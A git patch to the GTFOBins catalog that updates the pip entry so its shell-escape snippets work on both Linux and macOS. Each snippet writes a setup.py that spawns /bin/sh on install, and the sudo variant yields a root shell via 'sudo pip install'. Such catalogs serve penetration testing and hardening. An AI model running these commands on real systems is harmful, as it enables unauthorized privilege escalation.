From 0db7fe5f32d08da5a6e3d8f518be62dc95f861f0 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 27 Sep 2018 12:58:29 +0200 Subject: [PATCH] Fix pip to work in both Linux and macOS --- _gtfobins/pip.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_gtfobins/pip.md b/_gtfobins/pip.md index 7e4ae05..4d0870f 100644 --- a/_gtfobins/pip.md +++ b/_gtfobins/pip.md @@ -5,11 +5,11 @@ functions: execute-interactive: - code: | TF=$(mktemp -d) - echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py + echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py pip install $TF sudo-enabled: - code: | TF=$(mktemp -d) - echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py + echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF ---